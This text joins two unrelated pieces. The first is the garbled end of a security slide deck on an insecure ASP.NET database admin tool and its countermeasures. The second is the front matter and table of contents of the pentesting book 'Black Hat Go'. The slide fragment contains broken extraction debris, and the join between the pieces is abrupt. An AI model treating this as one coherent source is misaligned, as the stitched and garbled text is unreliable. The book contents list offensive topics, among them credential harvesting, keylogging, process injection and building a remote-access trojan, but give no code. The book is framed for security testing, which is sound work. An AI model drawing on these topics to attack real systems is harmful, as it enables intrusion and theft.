been used in a lot of web Control Panels
been used in a lot of web Control Panels.
h
lf
• Fix the code yourself
ASP.NET Web Data Admistrator
ASP.NET Web Data Admistrator
ASP Web Data Administrator is secure in CodePlex web site, but not in
Microsoft web site where is been published an unsecure old version
Countermeasures
Countermeasures
• Harden your firewall
a de you
e a
– Outbound connections
• Harden your internal accounts
y
– Web application
– Web server
– Database Engine
• Use ConnectionStringBuilder
• Filter the ;)
Questions?
Questions?
Contacto
Chema Alonso
[email protected]
http://www.informatica64.com
http://elladodelmal.blogspot.com
Palako
[email protected]
Authors
Chema Alonso
Manuel Fernández “The Sur”
Alejandro Martín Bailón
Antonio Guzmán | pdf |
Steele,
Patten, and
Kottmann
Black Hat Go
Go Programming
for Hackers and Pentesters
Go Programming for Hackers and Pentesters
Black Hat Go explores the darker side of Go,
the popular programming language revered
by hackers for its simplicity, efficiency, and
reliability. It provides an arsenal of practical
tactics from the perspective of security prac-
titioners and hackers to help you test your
systems, build and automate tools to fit your
needs, and improve your offensive security
skillset, all using the power of Go.
You’ll begin your journey with a basic over-
view of Go’s syntax and philosophy and start
to explore examples that you can leverage for
tool development, including common network
protocols like HTTP, DNS, and SMB. You’ll then
dig into various tactics and problems that pen-
etration testers encounter, addressing things
like data pilfering, packet sniffing, and exploit
development. You’ll create dynamic, pluggable
tools before diving into cryptography, attack-
ing Microsoft Windows, and implementing
steganography.
You’ll learn how to:
🐹 Make performant tools that can be used for
your own security projects
🐹 Create usable tools that interact with
remote APIs
🐹 Scrape arbitrary HTML data
🐹 Use Go’s standard package, net/http, for
building HTTP servers
🐹 Write your own DNS server and proxy
🐹 Use DNS tunneling to establish a C2 channel
out of a restrictive network
🐹 Create a vulnerability fuzzer to discover an
application’s security weaknesses
🐹 Use plug-ins and extensions to future-proof
products
🐹 Build an RC2 symmetric-key brute-forcer
🐹 Implant data within a Portable Network
Graphics (PNG) image.
Are you ready to add to your arsenal of secu-
rity tools? Then let’s Go!
About the Authors
Tom Steele, Chris Patten, and Dan Kottmann
share over 30 years in penetration testing and
offensive security experience, and have deliv-
ered multiple Go training and development
sessions. (See inside for more details.)
“Everything necessary to get started with
Go development in the security space”
— HD Moore, Founder of the Metasploit Project and
the Critical Research Corporation
THE FINEST IN GEEK ENTERTAINMENT™
www.nostarch.com
“I LIE FLAT.” This book uses a durable binding that won’t snap shut.
FSC FPO
Price: $39.95 ($53.95 CDN)
Shelve In: COMPUTERS/SECURITY
Tom Steele, Chris Patten, and Dan Kottmann
Foreword by HD Moore
Black Hat Go
BLACK HAT GO
BLACK HAT GO
Go Programming for
Hackers and Pentesters
by Tom Steele, Chris Patten,
and Dan Kottmann
San Francisco
BLACK HAT GO. Copyright © 2020 by Tom Steele, Chris Patten, and Dan Kottmann.
All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording, or by any information storage or retrieval
system, without the prior written permission of the copyright owner and the publisher.
ISBN-10: 1-59327-865-9
ISBN-13: 978-1-59327-865-6
Publisher: William Pollock
Production Editor: Laurel Chun
Cover Illustration: Jonny Thomas
Interior Design: Octopod Studios
Developmental Editors: Frances Saux and Zach Lebowski
Technical Reviewer: Alex Harvey
Copyeditor: Sharon Wilkey
Compositor: Danielle Foster
Proofreader: Brooke Littrel
Indexer: Beth Nauman-Montana
For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly:
No Starch Press, Inc.
245 8th Street, San Francisco, CA 94103
phone: 1.415.863.9900; [email protected]
www.nostarch.com
Library of Congress Cataloging-in-Publication Data
Names: Steele, Tom (Security Consultant), author. | Patten, Chris, author.
| Kottmann, Dan, author.
Title: Black Hat Go : Go programming for hackers and pentesters / Tom
Steele, Chris Patten, and Dan Kottmann.
Description: San Francisco : No Starch Press, 2020. | Includes
bibliographical references and index. | Summary: "A guide to Go that
begins by introducing fundamentals like data types, control structures,
and error handling. Provides instruction on how to use Go for tasks such
as sniffing and processing packets, creating HTTP clients, and writing
exploits."-- Provided by publisher.
Identifiers: LCCN 2019041864 (print) | LCCN 2019041865 (ebook) | ISBN
9781593278656 | ISBN 9781593278663 (ebook)
Subjects: LCSH: Penetration testing (Computer security) | Go (Computer
program language)
Classification: LCC QA76.9.A25 S739 2020 (print) | LCC QA76.9.A25 (ebook)
| DDC 005.8--dc23
LC record available at https://lccn.loc.gov/2019041864
LC ebook record available at https://lccn.loc.gov/2019041865
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other
product and company names mentioned herein may be the trademarks of their respective owners. Rather
than use a trademark symbol with every occurrence of a trademarked name, we are using the names only
in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the
trademark.
The information in this book is distributed on an “As Is” basis, without warranty. While every precaution
has been taken in the preparation of this work, neither the authors nor No Starch Press, Inc. shall have any
liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or
indirectly by the information contained in it.
About the Authors
Tom Steele has been using Go since the version 1 release in 2012 and was
one of the first in his field to leverage the language for offensive tooling.
He is a managing principal research consultant at Atredis Partners with
over 10 years of experience performing adversarial and research-based
security assessments. Tom has presented and conducted training courses
at numerous conferences, including Defcon, Black Hat, DerbyCon, and
BSides. Outside of tech, Tom is also a Black Belt in Brazilian jiujitsu who
competes regularly, both regionally and nationally. He owns and operates
his own jiujitsu academy in Idaho.
Chris Patten is the founding partner and lead consultant of STACKTITAN,
a specialized adversarial services security consultancy. Chris has been
practicing in the security industry for more than 25 years in various capaci-
ties. He spent the last decade consulting for a number of commercial and
government organizations on diverse security issues, including adversarial
offensive techniques, threat hunting capabilities, and mitigation strate-
gies. Chris spent his latest tenure leading one of North America’s largest
advanced adversarial teams.
Prior to formal consulting, Chris honorably served in the US Air
Force, supporting the war-fighting effort. He actively served within the
Department of Defense Special Operations Intelligence community at
USSOCOM, consulting for Special Operations Groups on sensitive cyber
warfare initiatives. Following Chris’s military service, he held lead architect
positions at numerous Fortune 500 telecommunication companies, work-
ing with partners in a research capacity.
Dan Kottmann is a founding partner and lead consultant of STACKTITAN.
He has played an integral role in the growth and development of the larg-
est North American adversarial consultancy, directly influencing technical
trade craft, process efficiency, customer experience, and delivery qual-
ity. With 15 years of experience, Dan has dedicated nearly the entirety of
his professional career to cross-industry, customer-direct consulting and
consultancy development, primarily focused on information security and
application delivery.
Dan has presented at various national and regional security confer-
ences, including Defcon, BlackHat Arsenal, DerbyCon, BSides, and more.
He has a passion for software development and has created various open-
source and proprietary applications, from simple command line tools to
complex, three-tier, and cloud-based web applications.
About the Technical Reviewer
Alex Harvey has been working with technology his whole life and got his
start with embedded systems, robotics, and programming. He moved into
information security about 15 years ago, focusing on security testing and
research. Never one to shy away from making a tool for the job, he started
using the Go programming language and has not looked back.
BR IE F CON T E N T S
Foreword by HD Moore . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvii
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix
Chapter 1: Go Fundamentals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Chapter 2: TCP, Scanners, and Proxies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Chapter 3: HTTP Clients and Remote Interaction with Tools . . . . . . . . . . . . . . . . . . . . . 45
Chapter 4: HTTP Servers, Routing, and Middleware . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Chapter 5: Exploiting DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Chapter 6: Interacting with SMB and NTLM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Chapter 7: Abusing Databases and Filesystems . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Chapter 8: Raw Packet Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
Chapter 9: Writing and Porting Exploit Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187
Chapter 10: Go Plugins and Extendable Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Chapter 11: Implementing and Attacking Cryptography . . . . . . . . . . . . . . . . . . . . . . 233
Chapter 12: Windows System Interaction and Analysis . . . . . . . . . . . . . . . . . . . . . . 263
Chapter 13: Hiding Data with Steganography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 295
Chapter 14: Building a Command-and-Control RAT . . . . . . . . . . . . . . . . . . . . . . . . . 315
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 331
CO N T E N T S IN DE TA IL
FOREWORD by HD Moore
xv
ACKNOWLEDGMENTS
xvii
INTRODUCTION
xix
Who This Book Is For . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xx
What This Book Isn’t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xx
Why Use Go for Hacking? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxi
Why You Might Not Love Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxi
Chapter Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxii
1
GO FUNDAMENTALS
1
Setting Up a Development Environment. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Downloading and Installing Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Setting GOROOT to Define the Go Binary Location. . . . . . . . . . . . . . . . . . . . 2
Setting GOPATH to Determine the Location of Your Go Workspace . . . . . . . . 2
Choosing an Integrated Development Environment . . . . . . . . . . . . . . . . . . . . 3
Using Common Go Tool Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Understanding Go Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Data Types. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
Concurrency. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Error Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Handling Structured Data. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2
TCP, SCANNERS, AND PROXIES
21
Understanding the TCP Handshake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Bypassing Firewalls with Port Forwarding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Writing a TCP Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Testing for Port Availability. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Performing Nonconcurrent Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Performing Concurrent Scanning. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Building a TCP Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Using io.Reader and io.Writer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Creating the Echo Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Improving the Code by Creating a Buffered Listener . . . . . . . . . . . . . . . . . . 37
Proxying a TCP Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Replicating Netcat for Command Execution . . . . . . . . . . . . . . . . . . . . . . . . 40
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
x Contents in Detail
3
HTTP CLIENTS AND REMOTE INTERACTION WITH TOOLS
45
HTTP Fundamentals with Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Calling HTTP APIs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Generating a Request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Using Structured Response Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Building an HTTP Client That Interacts with Shodan . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Reviewing the Steps for Building an API Client . . . . . . . . . . . . . . . . . . . . . . 51
Designing the Project Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Cleaning Up API Calls. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Querying Your Shodan Subscription . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
Creating a Client . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Interacting with Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Setting Up Your Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Defining Your Objective. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Retrieving a Valid Token . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
Defining Request and Response Methods . . . . . . . . . . . . . . . . . . . . . . . . . . 63
Creating a Configuration Struct and an RPC Method. . . . . . . . . . . . . . . . . . 64
Performing Remote Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
Creating a Utility Program . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Parsing Document Metadata with Bing Scraping . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Setting Up the Environment and Planning. . . . . . . . . . . . . . . . . . . . . . . . . . 69
Defining the metadata Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Mapping the Data to Structs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Searching and Receiving Files with Bing . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
4
HTTP SERVERS, ROUTING, AND MIDDLEWARE
77
HTTP Server Basics. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Building a Simple Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
Building a Simple Router . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Building Simple Middleware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Routing with the gorilla/mux Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Building Middleware with Negroni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Adding Authentication with Negroni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
Using Templates to Produce HTML Responses . . . . . . . . . . . . . . . . . . . . . . . 88
Credential Harvesting. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Keylogging with the WebSocket API. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
Multiplexing Command-and-Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
5
EXPLOITING DNS
103
Writing DNS Clients. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
Retrieving A Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
Processing Answers from a Msg struct . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
Enumerating Subdomains. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Contents in Detail xi
Writing DNS Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
Lab Setup and Server Introduction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
Creating DNS Server and Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
6
INTERACTING WITH SMB AND NTLM
131
The SMB Package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Understanding SMB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Understanding SMB Security Tokens . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Setting Up an SMB Session . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
Using Mixed Encoding of Struct Fields. . . . . . . . . . . . . . . . . . . . . . . . . . . 135
Understanding Metadata and Referential Fields . . . . . . . . . . . . . . . . . . . . 138
Understanding the SMB Implementation. . . . . . . . . . . . . . . . . . . . . . . . . . 139
Guessing Passwords with SMB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146
Reusing Passwords with the Pass-the-Hash Technique . . . . . . . . . . . . . . . . . . . . . . . . 147
Recovering NTLM Passwords. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Calculating the Hash. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Recovering the NTLM Hash . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
7
ABUSING DATABASES AND FILESYSTEMS
153
Setting Up Databases with Docker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154
Installing and Seeding MongoDB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154
Installing and Seeding PostgreSQL and MySQL Databases . . . . . . . . . . . . 156
Installing and Seeding Microsoft SQL Server Databases. . . . . . . . . . . . . . . 157
Connecting and Querying Databases in Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
Querying MongoDB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
Querying SQL Databases. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160
Building a Database Miner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
Implementing a MongoDB Database Miner . . . . . . . . . . . . . . . . . . . . . . . 164
Implementing a MySQL Database Miner . . . . . . . . . . . . . . . . . . . . . . . . . 166
Pillaging a Filesystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
8
RAW PACKET PROCESSING
173
Setting Up Your Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
Identifying Devices by Using the pcap Subpackage . . . . . . . . . . . . . . . . . . . . . . . . . 174
Live Capturing and Filtering Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Sniffing and Displaying Cleartext User Credentials. . . . . . . . . . . . . . . . . . . . . . . . . . 178
Port Scanning Through SYN-flood Protections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
Checking TCP Flags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
Building the BPF Filter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Writing the Port Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
xii Contents in Detail
9
WRITING AND PORTING EXPLOIT CODE
187
Creating a Fuzzer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188
Buffer Overflow Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188
SQL Injection Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
Porting Exploits to Go. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196
Porting an Exploit from Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
Porting an Exploit from C. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
Creating Shellcode in Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
C Transform . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
Hex Transform . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
Num Transform. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
Raw Transform . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Base64 Encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
A Note on Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
10
GO PLUGINS AND EXTENDABLE TOOLS
217
Using Go’s Native Plug-in System. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Creating the Main Program . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Building a Password-Guessing Plug-in . . . . . . . . . . . . . . . . . . . . . . . . . . . 222
Running the Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 224
Building Plug-ins in Lua . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Creating the head() HTTP Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 226
Creating the get() Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227
Registering the Functions with the Lua VM . . . . . . . . . . . . . . . . . . . . . . . . 229
Writing Your Main Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
Creating Your Plug-in Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Testing the Lua Plug-in . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
11
IMPLEMENTING AND ATTACKING CRYPTOGRAPHY
233
Reviewing Basic Cryptography Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Understanding the Standard Crypto Library. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235
Exploring Hashing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235
Cracking an MD5 or SHA-256 Hash. . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
Implementing bcrypt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
Authenticating Messages. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 239
Encrypting Data. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Symmetric-Key Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Asymmetric Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245
Brute-Forcing RC2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Producing Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255
Performing Work and Decrypting Data . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Writing the Main Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 258
Running the Program . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261
Contents in Detail xiii
12
WINDOWS SYSTEM INTERACTION AND ANALYSIS
263
The Windows API’s OpenProcess() Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263
The unsafe.Pointer and uintptr Types. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 266
Performing Process Injection with the syscall Package . . . . . . . . . . . . . . . . . . . . . . . . 268
Defining the Windows DLLs and Assigning Variables . . . . . . . . . . . . . . . . 270
Obtaining a Process Token with the OpenProcess Windows API. . . . . . . . . 271
Manipulating Memory with the VirtualAllocEx Windows API . . . . . . . . . . . 273
Writing to Memory with the WriteProcessMemory Windows API . . . . . . . . 274
Finding LoadLibraryA with the GetProcessAddress Windows API . . . . . . . . 275
Executing the Malicious DLL Using the CreateRemoteThread
Windows API. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275
Verifying Injection with the WaitforSingleObject Windows API. . . . . . . . . . 276
Cleaning Up with the VirtualFreeEx Windows API. . . . . . . . . . . . . . . . . . . 277
Additional Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 278
The Portable Executable File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279
Understanding the PE File Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 279
Writing a PE Parser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 280
Additional Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289
Using C with Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
Installing a C Windows Toolchain. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 290
Creating a Message Box Using C and the Windows API . . . . . . . . . . . . . . 290
Building Go into C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 293
13
HIDING DATA WITH STEGANOGRAPHY
295
Exploring the PNG Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 296
The Header . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 296
The Chunk Sequence. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297
Reading Image Byte Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298
Reading the Header Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298
Reading the Chunk Sequence. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299
Writing Image Byte Data to Implant a Payload . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302
Locating a Chunk Offset. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 302
Writing Bytes with the ProcessImage() Method . . . . . . . . . . . . . . . . . . . . . 302
Encoding and Decoding Image Byte Data by Using XOR . . . . . . . . . . . . . . . . . . . . . 307
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312
Additional Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 312
14
BUILDING A COMMAND-AND-CONTROL RAT
315
Getting Started . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316
Installing Protocol Buffers for Defining a gRPC API. . . . . . . . . . . . . . . . . . . 316
Creating the Project Workspace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317
Defining and Building the gRPC API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317
Creating the Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319
Implementing the Protocol Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319
Writing the main() Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322
Creating the Client Implant . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
xiv Contents in Detail
Building the Admin Component . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
Running the RAT. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326
Improving the RAT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326
Encrypt Your Communications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327
Handle Connection Disruptions. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327
Register the Implants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327
Add Database Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 328
Support Multiple Implants. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 328
Add Implant Functionality. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 329
Chain Operating System Commands. . . . . . . . . . . . . . . . . . . . . . . . . . . . 329
Enhance the Implant’s Authenticity and Practice Good OPSEC . . . . . . . . . . 329
